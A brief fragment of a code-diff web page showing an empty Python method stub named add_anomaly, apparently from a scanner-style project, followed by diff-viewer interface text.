def add_anomaly(self, category=None, level=0, request=None, parameter="", info=""):
|
||||
pass
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue